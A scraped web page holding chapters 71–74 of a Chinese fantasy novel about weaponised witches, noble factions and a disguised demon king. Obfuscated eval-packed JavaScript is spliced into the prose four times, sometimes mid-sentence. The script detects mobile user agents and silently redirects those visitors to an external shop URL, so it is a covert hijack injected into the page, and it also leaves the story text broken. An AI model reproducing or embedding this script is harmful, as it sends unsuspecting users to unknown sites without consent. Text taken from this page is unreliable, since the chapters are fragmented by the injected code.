;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003106|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法当场展示的部分，各位大人可以自由下令，房间里的指针可以显示魔法强度。” “落雷。”贝尔霍特当即挑选了一个攻击型元素法术。 雷和火是元素魔法中较难掌握的两个大类，也是攻击性最强的两个，能完美掌握落雷术的魔女至少在攻击力方面能算得上合格。 玻璃对面闪过一道刺眼的光束，洁白的墙壁上赫然出现焦黑的痕迹，魔力指针猛地晃向高点，证明了刚才那个落雷拥有不俗的强度——如果打在一个普通人身上，大概能立刻将其变成一具焦炭。 其他几名参观者也各自下达了一些指令，测试了元素和空间重力方面的能力，以及物理攻击的性能，结果是令人惊喜的。 “作为一件兵器，她的强度至少已经过关了。” “还有最重要的一点，就是服从性。” 接待员又从文件夹里取出一张纸，对着魔女展开，而那名魔女看上去无动于衷，只是静静站着。 “她怎么了？这是在测试什么？”蒂德莉问。 阿斯代伦解释道：“那张纸是前代魔王留下的手稿，上面的符号表示‘坐下’的意思，也算是件文物了。魔女在看到那些符号之后没有反应，意味着她已经脱离了魔王权力的控制。” “那怎么保证她能听我们的命令？已经训练好了吗？”蒂德莉又问。 接待员答道：“各位大人可以自由地尝试对她下令。” 蒂德莉试了一下：“请坐下。” 那魔女果然坐下了。 布劳斯哼了一声：“这种程度的命令根本就无法测试出真正的服从性，或许她只是在表演。必须极端一点。” “什么？”蒂德莉转过头来。 “给我去死。”布劳斯说。 接着，玻璃对面射出一道惊人的闪光，光线消失之后，那个魔女的腹部出现了一个整齐的空洞，血液则溅得到处都是，她的身体晃动了一下，然后倒在了血泊之中。 “啊……”目睹了整个过程的兰登发出一声轻呼。 回过头去的蒂德莉也被眼前的情景吓了一跳：“她真的……死了。” “喂！”布劳斯却发出了不满的声音，“你们没有看见吗，她刚才明明犹豫了一下吧，那是怎么回事？这样没法算得上高度服从吧？你们应该清楚我们的敌人是什么东西，我们能承受得了这一两秒的犹豫吗？” 蒂德莉皱起了眉毛：“这种命令……会犹豫也是难免的啊……” “如果魔王让那些恶魔去死，你说他们会犹豫吗？” “我不推崇那种极端产物，能有这样的已经很不错了。总之我觉得可以将就着用。眼下的当务之急是带回阿加雷斯，这事只能交给新型魔女来做。”韦斯特尔说，“另外，看守罗德里斯的魔女最好也全部换成这一型号，否则那位魔王带走魔龙就像囊中取物一样。” “切……”贝尔霍特发出不屑的声音，但是没有反对。 其他人也在沉默中同意了韦斯特尔的说法。 71. 第 71 章 回传送阵的路上，兰登注意到蒂德莉有些不舒服，正当她准备关切一句的时候，波诺就已抢先一步。 “没事吧，要不要先找个地方休息一下？万一受不了传送魔法的负荷就不妙了。” 蒂德莉先是摇了摇头，但走了几步之后，又一把扶住波诺的手臂：“你说的对，还是先找个地方休息一下，被卡在传送魔法中可不是开玩笑的。” “喂，前面的各位——”波诺冲着走在前面的同僚们喊道，“你们先回去，我陪蒂德莉在这里调整一下状态。” 彼时只有阿斯代伦和兰登还逗留在研究所内。 阿斯代伦摆了摆手，表示了解，兰登似乎有很多话想说，但在迟疑一阵后，还是跟在阿斯代伦身后走进了魔法阵。 “嗯，蒂德莉和波诺呢，他们没有回来吗？”布劳斯在清点人数的时候发现少了两个人。 “蒂德莉的身体似乎出了点状况，波诺留在那边陪她。”兰登赶紧回答道。 布劳斯耸了耸肩膀：“她的身体出了状况？什么状况？除了魔化之外，在大贵族核心的庇佑之下，我可想不到我们的身体还能出什么状况。” 韦斯特尔露出有些轻蔑的表情：“她也许被那只魔女的死给吓到了。” 贝尔霍特看了他一眼：“蒂德莉可不是那么胆小的家伙。” “是吗？”韦斯特尔顿了一下，“也对，她在那时候可谓功勋卓著，怎么会被那样的场景吓到？” * “喂，你是装的吧？”波诺一蹦一跳地跟在蒂德莉身边。他比蒂德莉矮了一截，在她边上就像是个小弟弟，“戈莱特的狂战士，还不至于因为那种小场面而受到刺激。” 蒂德莉瞥了他一眼，直起了身体，一秒钟前还显得病恹恹的容颜已经不复存在，她看上去比平时要敏锐和凌厉得多，“别在我面前提起那个称号，我从未引以为荣。” 执掌极乐鸟核心的蒂德莉·戈莱特是一位身材高挑的女性，不仅如此，她总喜欢穿能让她显得更加高大的厚底高跟鞋。 她还喜欢穿下摆蓬松、边缘繁复、装饰华丽的裙装，披一件同样蓬松、繁复、华丽的斗篷，将自己打扮得像一只巨大的多层蛋糕。 她平时总以一种与世无争的、不在状态的样貌出现，不知情的人往往会认为她是一名既娴静又乖张的女性，在心里暗自嘲笑她那副夸张形象的同时再对她退避三舍，或者把她当成那种容易上当受骗、为情所伤的矫情女性…… 这种以貌取人得到的认知简直大错特错。 听听过去的人们给她的外号就知道，她绝对不是一个好惹的家伙。 戈莱特的狂战士，在战场上身披铠甲、手持巨斧，夺走无数魔物性命的浴血杀手。 她用斧头砍杀恶魔的样子，就和用镰刀收割谷物的农民差不多。 她见过这个世界上最残酷血腥的场景，刚才那名魔女的死亡对她来说不过是小菜一碟，根本无法在她心里激起任何波澜。 然而时间真的是一位神奇的大法师，居然能够弱化这样一位死神在其同伴心中的印象，看看贵族院的那些家伙是怎么对她的——他们显然把她当成了一位边缘化的成员，在他们之中最无足轻重的一个。 “你在打什么鬼主意？”波诺不要命地挑拨着，“难道说新型号的魔女激发了你已经隐藏了两百多年的斗志，你想和她们去打一架？” “如果你留下来只是想看好戏，我姑且还能放你一马，但如果你是来坏事的，我可不会给你好果子吃。”蒂德莉开始往与传送阵相反的方向走去。 “嗯……你不会是想查看最新的研究目录，然后去给魔王通风报信？”波诺安抚了一下头顶上那些不听话的头发，“韦斯特尔这次真的搞出了厉害的东西，这些新型魔女应该能轻轻松松就把她拿下。阿加雷斯一定是意识到小魔王会有危险，所以才不顾一切逃出去的。” 蒂德莉没有说话，在走廊入口处的索引地图上匆匆扫了一眼，便一头钻进了那片冗长的阴影之中，然后在一扇密码门前停了下来。 波诺看了看门牌：“不会吧，我猜对了？” 这里是研究所的资料中心，研发日志和各种具体的项目文件都会在这里存档，从这里窃取资料，就不仅仅是通风报信的程度了。 “可是我不觉得你能进去。韦斯特尔一定做了什么措施——他向来不打心里相信贵族院的任何人。” “真是个啰嗦的家伙。”蒂德莉伸出手。 波诺以为自己要挨揍，下意识地闪躲了一下，结果发现狂战士只是想尝试破解密码锁，于是讪讪地笑了笑：“你这样会在防卫系统里留下访问痕迹的。” 他从口袋里摸出管状的玻璃瓶，拿在手里轻轻晃了晃，里面的金黄色液体缓慢地流动起来，“还是用上这个吧……” 蒂德莉迟疑了一会儿，让出半个身位，一言不发地看着同僚熟稔地布置起反追踪的魔法，最后忍不住问了一句：“你到底想干什么？” 波诺将脸皱成一团：“我只是希望自己以后不要死得太惨。” 他从鬓角揪下一根头发，用它将液态的星屑引导出来，滴在密码锁表盘的边缘，那滴高密度的液体刚一着陆，就像活过来似的，灵巧地钻到了表盘底下。 “我把你归在阿斯代伦的战线上，你们究竟是不是一伙的？” “一句话也说不清楚，我们一共只有七个人，怎么还要非分出‘几伙’来？” “你这是被兰登的‘团结友爱’给洗脑了吗？我数学不好，但可以告诉你，七个人能衍生出来的派系也是数不胜数。” “至少我绝对不会和韦斯特尔和贝尔霍特站到一起，每次靠近那两个家伙我都觉得很不自在。” “这点我举双手赞成。” “好了……我把这扇门给弄开了，你打算怎么感谢我？” 伴随着一个物体高速旋转的声音，资料库的门被打开了。 “如果你能顺便黑掉监控摄像头，我会考虑送你一把星海神杖。” 波诺两眼一亮：“你怎么知道我最近想要那玩意儿？不对，你还在玩《原子之战》吗？你看上去不像是那种热衷网络游戏的人。还是说你打算贿赂管理员，让他给我发一把——那可就算了，我最讨厌玩游戏作弊的人了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016834|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你知道的，整个服务器能打造这把武器的工匠屈指可数，我——” “你就是其中之一？！” “我认识其中的一位。”蒂德莉叹了口气。 波诺感激涕零地再次摸出那瓶星屑，再次揪下一根头发，将那些粘稠的液体引导进摄像头的回路中，“我们这就说好了。” “嗯。”蒂德莉已经钻进了一排资料架中。 社会的数字化和无纸化进程已经非常高了，但考虑到数据损毁的可能性，重要资料通常会保有一份纸质副本。 她找到了专门存放新型魔女项目资料的那个栏目。 所有副本资料都按生成的时间顺序齐整地排列起来，而最初的时间标记于二百七十八年前——七贵族在圆桌会议中讨论通过研制魔女的时间。 她快速地浏览了最初的那些资料，内容与她所知道的魔女项目相差无几，是故她直接跳到了距今二十多年前的部分，从这里开始，研究内容逐渐与她的认知脱轨。 “没想到刚才的展示数据还有所保留，这儿的研究人员真是够严谨的。大多数人在向客户展示产品的时候都喜欢把性能吹得天花乱坠，而事实上那都是最理想状态下的数据，可研究所却展示了弱化之后的数据，难道他们比较喜欢享受观赏客户得到意外之喜时的表情吗？”波诺不知何时也凑了过来。 他的速读能力和蒂德莉比起来不遑多让。 “不，不，这是打磨完成后的数据，今天展示的还只是初步的成品。在验证过加入新成分的可行性之后，他们才会开展下一步行动。”蒂德莉飞快地翻阅资料，最终在某页的角落中看到了“移交炼狱兽”的字样，“韦斯特尔准备把炼狱□□给研究所，用来批量完成他的最终兵器。” 波诺的表情要镇定一些，他在这一页的另一个角落点了点：“研究所提出了旧型成品魔女的要求，新型号是用旧型号和人类，再加上炼狱兽进行的二次复合混血。” 他皱了皱眉：“这还真是一件成分混乱的杂交产品……真的能确保稳定性吗？” “我也担心这个问题。人与‘人’之间的命令和服从，其稳定程度从来就无法和‘绝对王权’相提并论。”蒂德莉紧紧地捏着手里的纸张。 波诺的眼中闪过一丝无奈和讥诮：“是啊，人与人之间，从来就没有过魔王与他的臣民们那样不容置疑的关系。我们害怕魔王的权力，却又死皮赖脸地依靠这种权力构建了这个国家，和眼下的社会。如果有一个公正的第三者存在，也会觉得我们才是‘恶’的一方吧。” “你打算怎么做？要阻止新型魔女的量产计划吗？”他问，“不过我觉得，韦斯特尔一定已经暗中制造了不少样品。” “真是一种非常糟糕的猜想……”蒂德莉说，“这意味着韦斯特尔拥有了强大的私人军队。” “洛伦诺教过我，至少在人类的历史上，很长一段时间，权力是靠暴力和武力支撑的。”波诺说，“所以我想你说的没错。韦斯特尔想当一个无上的独裁者，他不想再与我们分享权力了。如果是这样的话……唔，我也许真的应该考虑一下阿斯代伦的建议。” 72. 第 72 章 * 导师7号：“忘了问你，上次的集训感觉如何，有没有学到一些实用的东西？” 妮娜：“非常感谢，获益匪浅。” 导师7号：“我在这个礼拜四下午安排了第二期讲座，你有空参加吗？” 妮娜：“是关于什么的？星期四下午有教授的研讨会，我可能去不了。” 妮娜：“可以让别人代我去吗？” 导师7号：“因为我负责的项目大多数都和魔族有关，所以我打算举办一期与魔族相关的讲座，涉及魔族的历史、文化、习性等多个方面。我想应该会给各位的项目带去不少灵感。” 导师7号：“我会同你的教授联系一下，让他同意的。” 妮娜：“等一等，你是说让教授同意什么？” 导师7号：“当然是让别人代你出席研讨会。” * 妮娜觉得今天的导师7号比以往要强硬不少。虽然祂在字里行间所展示出来的口吻依然平易近人，但多了几分不容商量。 第一次集训的时候，祂甚至不嫌麻烦地询问了所有参与者的空闲时间依此作出调度，而这一次，祂不仅没有经过商量就决定了讲座的时间，还明里暗里地展露出一种“必须参加”的意志。 为此，祂甚至可以容许“代课”这种情况的发生——考虑到祂对校规校纪如此蔑视，不免让人怀疑起祂对现行的法律是一种怎样的态度。 可是话说回来，祂所准备的讲座主题甚合妮娜的心意，她认为自己有十二分的必要对魔族进行更加深入和广泛的了解，而且这是由七贵族之一所主办的讲座，她或许能从中获得一些很难从其他地方得到的讯息。 她这辈子都没干过旷课这事，但这一回有贵族院的背书，又有代课者，最重要的是她已经说服了自己去参加讲座，所以她决定违一次纪。 * 星期四下午是韦斯特尔向研究所移交炼狱兽及旧型魔女的时间。 讲座的地点位于王都某个人流量不大不小的十字路口，同时也是运送囚犯的必经之路。 将那些囚犯从王都运送至位于赫尔马岱的研究所，期间九成以上的路程是通过传送阵完成的，采用原始交通方式运输的距离只有在这个路口的短短五十米。 错过这五十米，囚犯们就会被送到设置在路口那个邮局里的传送阵里，在一瞬间抵达他们的归命之所。 这个传送阵是为了这次移交行动特意新设的，除了位于贵族院内部的那个传送阵之外，王都没有其他公开的连接赫尔马岱的传送阵。 新的法阵构筑由一个叫威科姆的专门人士获得竞标。他在短短数日之内就完成了这个长距离魔法阵的设计，就连韦斯特尔都忍不住为之侧目。 本周四下午，邮局路口。 这是千载难逢的时间，千挑万选的地点。如果新型魔女真的被投入量产，不管对人类还是对魔族都会是一个灾难，蒂德莉有这样的预感。 不能让妮娜·斯特尔错过这个难得的机会——这就是她今天会如此强硬的原因。 她关掉对话框，开始拟写给达尔·达曼的邮件。 “尊敬的教授，本周四下午，我将会对我在创业大赛中负责的项目领导人进行集体指导，这将会占用您的学生的一点时间，导致她无法出席预定的学术研讨会，为此我擅自替她作出安排，并建议她指定一名人选代替她出席您的研讨会，请您务必体谅。” “戈莱特” * 尽管妮娜已经在导师7号的安排下确定缺席下一次研讨会，但这绝不意味着她可以把达尔·达曼布置的课题也一并翘掉。 非但如此，除了预备在周四发表的内容之外，她还必须总结归纳之前几次的研讨内容，罗列其他与会者的研究方向，避免她的代课人布莱克在讨论会上手足无措。 万幸赫尔马岱的矿场和树根被维克多打理得井井有条，包括乐飞在内的各种媒体内容则被文森特及魅魔们运营得红红火火。 乌鸦承接了往来两地的一些小规模物流业务。 古斯塔夫则担任各项业务的情报专员，他不仅来往于市井之间收集要闻，还向维克多学习了网络搜索的要领，情报技术日益精进。 佩吉负责艾力克的学习，并且在艾力克的帮助下重新开展了魔法媒介的业务，同时筹划扩大办学规模。 房客们的能干有为显著地减轻了房东的压力。 除了阿加雷斯。 自上一次在房间里昏倒之后，他的身体一直状况频发，和他自称的“向来健康”相去甚远，莉莉力所能及地为他进行了一些检查，没有发现物理层面的伤病，脏器和血管都运行良好。 “看他发病时的样子，我怀疑这是心理方面的疾病……方便打听一下他的年龄吗？” “他对我说的是——二十七。” 听到这个数字的时候，莉莉明显吃了一惊，但其神色很快就恢复如常，“老实说，他的一些表现看起来简直像战争后遗症一样，但如果他还这么年轻，就不可能经历过除魔运动，更不用说人魔大战了……” “战争后遗症吗？” “总之……二十七岁对我们这样的次生种来说，实在是一个非常年轻的生命阶段。考虑到这一点，我又怀疑这是否是魔力过载导致的症状。你要知道，主动魔法这种东西不仅对人类来说是个难题，大多数普通魔族都无法掌握种族天赋之外的魔法。我也不知道夜骑所谓的魔法天赋到底有多强，但我相信他的魔力在其族群之中也必属上乘。” “这样的话，把多余的魔力转移到佩吉的魔法媒介上去会怎么样？也许对他的病情好转有所帮助？” “过载不是这么简单就能解决的问题，但应该能起到一点缓解痛苦的效果。” 妮娜走进207室，瞧了一眼正处于半睡半醒状态的阿加雷斯，在他身边坐了下来。 “我还想要尽情压榨你这张脸蛋的价值呢，快点好起来吧。” 阿加雷斯于是醒了过来，他应该是听到了刚才的那句话，笑了一下：“抱歉，给你添了麻烦，但我发誓我以前身体真的不错，你一定看得出来。” “哦，对，对，你看起来就像那些趾高气昂的体育生一样健康。”妮娜调侃道，“莉莉说这可能是一种心理疾病，会不会是想家了？在便利店的时候你说你很久没有来过外面，接着你又在我这里租了房间，我怀疑你是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037484|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离家出走的笨蛋。二十七岁是夜骑的叛逆期吗？” “我想吃蔬菜饼干。”阿加雷斯说。 “哦，多棒的回答！”妮娜觉得自己猜对了大半。 她把手里的塑料袋往床头柜上一放，“营养剂，还有你的饼干，我可没法总是关注你的病情，能把自己照顾好吗？” 阿加雷斯乖巧地点头：“我又不是小孩子了。” 这话让妮娜越发相信他就是一位正处于青春期的年轻夜骑，因为身体尚未完全成熟而饱受魔力过载的折磨。 她心脏的律动不同寻常，不过现在她已经能够泰然地接受这种反应了。 “一楼住着一位媒介商人，那天你见过的。既然如今你身无所长，就用提供魔力源流的方式来抵扣房租吧。” “我没有意见。” 妮娜拿出一条形似腕表的道具，调整了一下表盘侧面的旋钮，举到阿加雷斯面前，“把手伸出来。” “这是什么？” “我从佩吉那里要来的容器，可以储存多余的魔力。” 阿加雷斯伸出手，任妮娜把魔法媒介戴到他的腕上。 妮娜低着头，看样子在摆弄表带，表情却异常严肃。 在她说“把手伸出来”的时候，阿加雷斯没有在第一时间伸手，这很奇怪。 从某种意义上来说，这算不算……忤逆？ * 参加礼拜四下午讲座的人比第一次集训的时候多了好几倍。 罗德里斯公寓和地狱火的名列前茅让参赛者们突然意识到潜藏在“魔族”这个主题中的商机，不少人都把这个要素当成在第二轮赛程中获得突破的关键，据说有被分配到其他导师名下的参赛者在听说有这样的讲座之后也想报名，结果被拒绝了。 只有导师6号名下的选手破格获得殊荣，被允许一同入场。 这个小插曲在出席讲座的参赛者中引起了一些讨论，众人纷纷猜测七位导师之间是否存在着派系。 就连掌握着贵族院最大秘密的妮娜也对此感到好奇。如果贵族院不是一条心，她的计划就会减少很多阻力。 而最令人意外的当属出现在讲台上的那名讲师。 当橙色头发的讲师出现在教室门口时，妮娜差点惊掉了下巴。 那人即是那天和他在格尔克诺广场雕塑前碰面的原始魔族，吸血鬼阿斯代伦的兄长，《勇者笔记》的作者，波诺少年。 这是一堂传授魔族知识的讲座，这个世界上很少有人能比一位活了三百多年的古老魔族更了解这一族的辛秘。和玛丽安娜一样，这是一位再适合不过的讲师。这将会是一个让人收获颇丰的课堂。 而让人疑惑的是，身为贵族院成员的导师7号如何得知波诺的存在，为何容许他的存在，又如何与他取得联系，聘请他担任这一光荣的教职？这背后是胁迫，还是协作…… 妮娜盯着橙色头发的少年，几乎要在他身上盯出一个洞来，盯得他心虚地避开了视线。她想弄清楚他站在这里的前因后果。 如果有必要，她当然愿意对波诺出手相助。如果有可能，她也乐意与有和平意向的七贵族达成合作……毕竟她是一个魔王，她做得到。 73. 第 73 章 “可以坐在你边上吗？” 妮娜从“年轻”讲师的身上收回目光，看到了一张不算陌生的脸庞，“当然可以。” 她整理了一下桌面上某些越界的文具，好把空间腾给同桌，“好久不见，露西。” “好久不见。”表情明朗的女生大方地坐了下来，将背包塞进桌面下方的空间，“自从上次分别之后，罗德里斯公寓的成长速度简直让人瞠目结舌。” “这都要感谢同伴们的支持，我有一群很棒的帮手。”妮娜说。 距离讲座正式开始还有一段时间，她不介意和别人闲聊上一会儿。她想起露西负责的是一个教育培训方面的项目，虽然没有做到引人瞩目的程度，但成绩一直在稳定提升。那也是一个牵涉到魔族的项目。 妮娜不动声色地打开手机，在大赛官网上找到露西·法日那的主页，仔细浏览了一下最近的进度发表，看到了最新履历中确实出现了为有需求的魔族提供从初等到专门各层级的再教育服务。 客户通过提供魔力源流获取服务，露西将这些源流用于魔法小道具的制作和出售——这种盈利模式和传统的媒介商人没什么两样，但魔法道具和魔法媒介实际上是两种不同的东西。 前者将魔法作用于物品，后者则是将魔法能力短暂地赋予他人。 露西制作的魔法道具别出心裁，大多数都是没有实际意义的小玩意儿，比如可以交互和简单交流的玩具熊挂件，可以投影出立体场景的雪花水晶球，能够眨眼睛的玻璃杯——相关的魔法阵被刻印在配套的杯碟上…… 这些东西普遍价格低廉，一件价格超过三位数的都没有，销量十分可观。 魔法早就已经融入人们的生活了，可是因为人类与魔族间的隔阂，以及贵族院对魔法的相对垄断，大多数魔法都被投入生产运输还有网络部门，如此切实可触而又没有实际生产效益的魔法用品在市面上几乎不存在，这位参赛者可以说开辟了一个新市场。 妮娜看到了从露西文具盒里钻出来的只有一根手指大小的小鸟玩偶。 “这是你做的？” 露西有些得意地点了点头：“这是复读鸡，其实功能和录音笔差不多，但我觉得这样更生动可爱一点。我在里面储存了一个简单的魔法术式，所以它可以自主进行一些简单的活动。” 她的轻描淡写总让人以为那个魔法术式不值一提，但妮娜知道这需要非常扎实的魔法知识和灵活的创新能力才能做到。 “你是魔法学生？” “嗯，我是红山美院魔法系的学生。” 听到露西的回答，妮娜挑了一下眉毛，视线移向坐在窗边的某位熟人，“亏你能在阿尔弗雷德吹牛的时候表现得那么不动声色，如果是我的话，一定会跳出来打着他的脑袋叫他不要顶着别人母校的名号沽名钓誉。” 露西笑了起来：“那时候我还想多少给他留点面子。” “对了，”妮娜收回目光，看向她的眼睛，“我最近也在筹备教育方面的业务，你有兴趣和罗德里斯公寓展开合作吗？” 露西展现出一个尽在掌握的笑容，她直言不讳道：“我今天就是抱着这个打算来找你的，我相信能从你这里挖掘到很多客户。” 赫尔马岱的工地上有很多从未接受过教育的魔族工人，露西想必是盯上了这一点。 妮娜丝毫没有对她的盘算感到反感，相反，能有这种互利互惠的事情送上门来实在是再好不过。 那些魔族工人在管理设施中成长到具备劳动能力的年纪之后就被送到了矿地上，没有机会也没有能力考虑其他的生存可能，如果能让他们接受基础教育，在此基础上选择有兴趣的专门教育，获得在工地以外的职场上能够适用的职业技能，才有机会让他们真正脱离原本那种不正常的生存环境。 要重新构筑起一个健康的社会，具备各种知识和技能的社会成员显然必不可少。 一拍即合的两人立刻交换了联系方式。 后座一些素未谋面的参赛者们的聊天内容在这个间隙中不经意地飘了过来。 “你有没有看过那个被删除的视频？” “你是说夜骑那个吗？哇，真的超帅的。第二期里提到这个种族的时候我就超级好奇！” “感觉是魔族里的SSR。” “没错没错，超级稀有的，而且是真的会魔法诶！” “魔法公寓的负责人应该就在这里吧？好想知道是谁啊，想拜托她带我见见活的夜骑。” 露西往妮娜身边凑近了一点：“其实我也很好奇那位夜骑先生，他看起来和别的魔族很不一样。” 妮娜用笔杆逗了逗复读鸡，“没想到他会有这么高的讨论度。” “稀有度和特殊性都提升了他的魅力值，而视频的消失也让大家对他更加好奇了。”露西解释道。 “如果他不是一位夜骑呢？至少以我的审美标准来看，他的外表在人类中肯定不算什么绝色美男子。” “确实是这样，如果是人类的话，那顶多是一种让人感到舒服的、非常耐看的长相，优秀，但说不上出类拔萃。” “那……” “只是说说我自己的感受，”露西思考了一会儿，“他是那种能够把一切调和到恰到好处的存在，比如说……他有着非常健康开朗的长相，但是气质上有种破碎的、脆弱的感觉，明明很强大，却让人产生保护欲。你和他在实际相处的时候没有这种感觉吗？” 妮娜一开始被她这种夸张肉麻的说法给逗笑，但在听到最后的提问时还是忍不住好好想了想，表情不由变得严肃起来：“你说的好像有道理，确实是这么回事。我有时候觉得自己是不是上当受骗了——他是不是故意装出那种柔弱的样子。” 说到这里的时候，她顿了一下。 或许她真的上当受骗了。 阿加雷斯并不是魔族，否则他为何能够忤逆她的命令？ 文森特最初的猜测没准是真的，他用某种隐蔽的魔法媒介制造出魔力源流的假象，导致她做出了错误的判断。 他还故意装出柔弱多病的样子，兴许就是为了让她放松警惕。 难道他是贵族院派来的卧底，目的就是要从内部瓦解罗德里斯公寓？ 这完全有可能。 有人在教室前面装模作样地咳嗽了几声，告诉底下的学生们课程就要开始了。 闹哄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049530|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哄的阶梯教室一下子变得安静无比，妮娜和露西也端正了姿势，像所有好奇的学生一样虔诚地注视着前方的讲师。 波诺用假名做了自我介绍。但其实妮娜也无法确定波诺是否是他的真名。他列出了一些非常小众的成就，说明自己是一位魔族领域的权威专家。 教室里除了露西之外，似乎还有别的魔法学生，他们看起来都对波诺的那个假名有所耳闻，并对他的成就表示出认可。有了这些学生的肯定，其他人也就不再觉得他看上去很可疑了。 “首先，我想向大家介绍的是魔族的分类，大家应该都很清楚，这不是一个能够一概而论的种族……” 波诺所讲述的大多数内容妮娜都已经在《勇者笔记》里读到过了，但也有一小部分补充内容值得一听。他还讲了一些未曾公开过的人魔大战的细节，这一部分让所有人都很感兴趣。 就在讲座要进入第二环节时，窗边突然响起一声惊呼，吸引了包括讲师在内所有人的视线。 “那是什么！”阿尔弗雷德激动地指着窗外。 令人感到费解的是，讲师在异状发生的几秒之内就赶到了窗边，他的举动引导了教室里的学生们纷纷向窗边涌去。 妮娜觉得事情有些不对劲，于是也随着人群向窗边移动。 她顺着众人的视线向外面的十字路口看去，一列身穿工人服装的业者抬着好几个用黑布罩起来的笼子，就像是抬着一排棺材似的，在绿灯亮起之后，整齐地向马路对面的邮局走去。 “我知道那种笼子，那是专门用来关押恶魔的笼子。”不知道是谁突然说了一句。 这话让“课堂氛围”顿时变得更加热烈。 “真的，上面的魔法术式是专门用来封印魔法的。” “喂，你们说这里面会不会有之前被全网下架了的那只夜骑？！” “我什么时候见过这种大场面，今天真是走运！” 七嘴八舌之中，有不少人拿出手机开始拍摄，讲师毫不诚心地维护了一下秩序，但最终还是放任学生们为所欲为了。 阿尔弗雷德盯着其中一只笼子，他透过黑布，看见了里面火光明灭，就像一只即将油尽灯枯的打火机会发出的那种光。 他觉得自己逮到了一个展现学识的机会，激动地指着那只笼子喊道：“那里面是一头炼狱兽，不会有错的！”他可是亲眼看见魔女是怎么把那头凶兽给抓走的。 “炼狱兽也是SSR啊，我还从没见到过活的呢。” “他们要把这些魔物运到哪里去？” “如果真的是夜骑和炼狱兽那种稀有魔物，应该会被送到什么特定的机构里保护研究吧。” “会不会被送去解剖啊？我听说魔物研究所什么事都做得出来。” “我要下去看看，谁跟我一起？” “学习就要理论和实践结合，课上学再多也比不上看一看活的，兄弟们走起！” 一大群人哗地涌出了教室，向路口奔去。 “哎——哎——”讲师象征性地拦了一下，结果自己也跟在队伍末端跑了出去。 至于妮娜·斯特尔，她也在一片混乱之中，被露西拉到了街上。 74. 第 74 章 “你们干什么！” “不要捣乱，小心把你们通通抓进去。” “哪里的学生，我要向你们的学校通报。” 运送业者被这群突然冒出来的大学生围得水泄不通，完全无法向目标地点移动。 “切，就这么点路，怎么还能闹出事情来？” “我就说应该把传送阵设置得再近一点。” “超距了，没办法。” “让我们看一眼吧，听说里面有炼狱兽，就当是给我们长长见识好了。” “什么炼狱兽，没有，快回学校上课去。” “那这里面是什么魔物？这是封印阵，我上专业课第一天就开始和这东西打交道了，不会认错的。” “你在说什么呢，我不明白。” “总之就让我们饱饱眼福，不会给你们制造更多麻烦的——只要给我们看一眼就行。反正有封印阵在，不会有什么危险的不是吗？” “这……” 和学生们僵持的业者看上去十分为难。按照业务合同，他们不能让别人看到笼子里的东西，但眼下看来，如果他们不满足这些小鬼头们的好奇心，就没法抵达目的地。 交警呢？治安部队呢？真是该死，偏偏挑在这种治安管理差劲的地方。 “我们保证，只要看到笼子里面的东西，就绝对不再捣乱，我想你也不希望在这种地方耽搁太久吧？”阿尔弗雷德自告奋勇地站到人群最前方，开始和运输业者中的领头人物交涉起来。 而这人的目光却时不时向后看去。 阿尔弗雷觉察到了这点，不动声色地朝他身后扫了一眼，立刻就在业者的队伍中看到了一个难忘的影子——真的是如同影子般的人物，尤其是当他穿着一身黑衣，站在黑布边上的时候。 这就是那天闯进他的宿舍掳走炼狱兽的魔女。 阿尔弗雷德立刻对笼子里的东西有了一百二十分的把握。 照理来说，他和那头炼狱兽最好是别再碰面的，那家伙对他有敌意，要是撞上了不知道会发生什么事。 但与此同时，他又对那家伙有几分别样的感情，从某种意义上来说，是那头凶猛的小恶魔让他赚到了人生的第一桶金，是他源源不断获得财富的契机，是“地狱火”的灵魂。 现在，那只小恶魔被封印在无法召唤火焰的环境中，接下去不知道会被送到哪儿，这很有可能就是他们这辈子见的最后一面了，阿尔弗雷德那生来充斥戏剧性的潜意识告诉他这次碰面一定能给他不错的灵感。 他的大脑被创作欲望刺激得十分兴奋，但脸上的表情却非常镇定，让运输业者觉得他是一个怀着理智和诚意来商量的谈判者。 